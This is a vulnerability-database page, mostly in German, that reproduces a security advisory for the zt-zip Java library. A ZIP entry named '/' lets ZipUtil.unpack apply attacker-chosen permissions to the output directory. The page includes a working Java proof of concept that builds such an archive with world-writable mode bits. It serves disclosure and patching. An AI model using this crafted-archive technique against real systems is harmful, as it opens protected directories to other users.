Mittel

zt-zip: ZipUtil.unpack can change file permissions of output directory

  • Veröffentlicht: 09.11.2026
  • Aktualisiert: 09.11.2026 23:17

Summary

When using one of the ZipUtil.unpack overloads, the file permissions of the output directory can be changed. For example, when the output directory was only accessible to the 'owner' it could be instead made accessible to every OS user.

Details

When the name of a ZIP entry resolves to the output directory itself (e.g. the name /), the path traversal checks permit it and then perform actions on that directory, such as applying the file permissions of the ZIP entry to it.

PoC

This proof of concept requires an OS with support for POSIX file permissions. This issue itself is however not limited to those OS' with POSIX file permissions, see zt-zip's ZTFilePermissionsUtil.fetchDefaultStrategy which uses a fallback in that case.

java
// Uses Apache Commons Compress to create the malicious ZIP file
// The issue itself is however in how zt-zip processes that ZIP file
import org.apache.commons.compress.archivers.zip.AsiExtraField;
import org.apache.commons.compress.archivers.zip.ZipArchiveEntry;
import org.apache.commons.compress.archivers.zip.ZipArchiveOutputStream;
import org.apache.commons.compress.archivers.zip.ZipExtraField;

import org.zeroturnaround.zip.ZipUtil;

import java.nio.file.Files;
import java.nio.file.Path;
import java.util.Set;

public class ZtZipTest {
    public static void main(String[] args) throws Exception {
        Path zipPath = Path.of("permissions-change.zip");

        Path outputDir = Path.of("permissions-change");
        Files.deleteIfExists(outputDir);
        Files.createDirectory(outputDir);
        Files.setPosixFilePermissions(outputDir, Set.of());

        // outputs "[]"
        System.out.println("Permissions before: " + Files.getPosixFilePermissions(outputDir));

        createZip(zipPath);

        ZipUtil.unpack(zipPath.toFile(), outputDir.toFile());

        // outputs "[..., OTHERS_EXECUTE, OTHERS_WRITE, OTHERS_READ, ...]"
        System.out.println("Permissions after: " + Files.getPosixFilePermissions(outputDir));
    }

    public static void createZip(Path path) throws Exception {
        try (ZipArchiveOutputStream zipStream = new ZipArchiveOutputStream(path)) {
            var entry = new ZipArchiveEntry("/");
            // Set 'allow all' permissions
            entry.setUnixMode(0b1_1111_1111);

            AsiExtraField extraField = new AsiExtraField();
            // Set 'allow all' permissions
            extraField.setMode(0b1_1111_1111);
            entry.setExtraFields(new ZipExtraField[] { extraField });
            zipStream.putArchiveEntry(entry);
            zipStream.closeArchiveEntry();
        }
    }
}

Impact

Affected are users who use ZipUtil.unpack to unpack an untrusted ZIP file.

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Java / Kotlin (Maven) org.zeroturnaround:zt-zip < 1.18.1 1.18.1

Verweise

CVSS-Wert -
CVSS-Vektor
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N
Schwäche (CWE)
CWE-23
Plattform
Java / Kotlin (Maven)
Paket
org.zeroturnaround:zt-zip
Veröffentlicht
09.11.2026
Aktualisiert
09.11.2026 23:17

Quellen und Lizenzen

OSV / GitHub Advisory Database - GHSA-v2g6-7r9j-v6px - CC BY 4.0

Schwachstellenhistorie: org.zeroturnaround:zt-zip

Alle veröffentlichten Schwachstellen dieses Pakets (Java / Kotlin (Maven)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Einträge insgesamt
3
Erste → letzte
05.2022 11.2026
Ohne Fix
0
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Hoch 1
  • Mittel 2

Veröffentlichungen pro Jahr

  1. 2022: 1
  2. 2023: 0
  3. 2024: 0
  4. 2025: 0
  5. 2026: 2
  1. zt-zip: ZipUtil.unpack can change file permissions of output directory dieser Eintrag
    Mittel CVE-2026-63499 < 1.18.1 1.18.1
  2. Hoch · 8.2 CVE-2026-63436 < 1.18.0 1.18.0

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.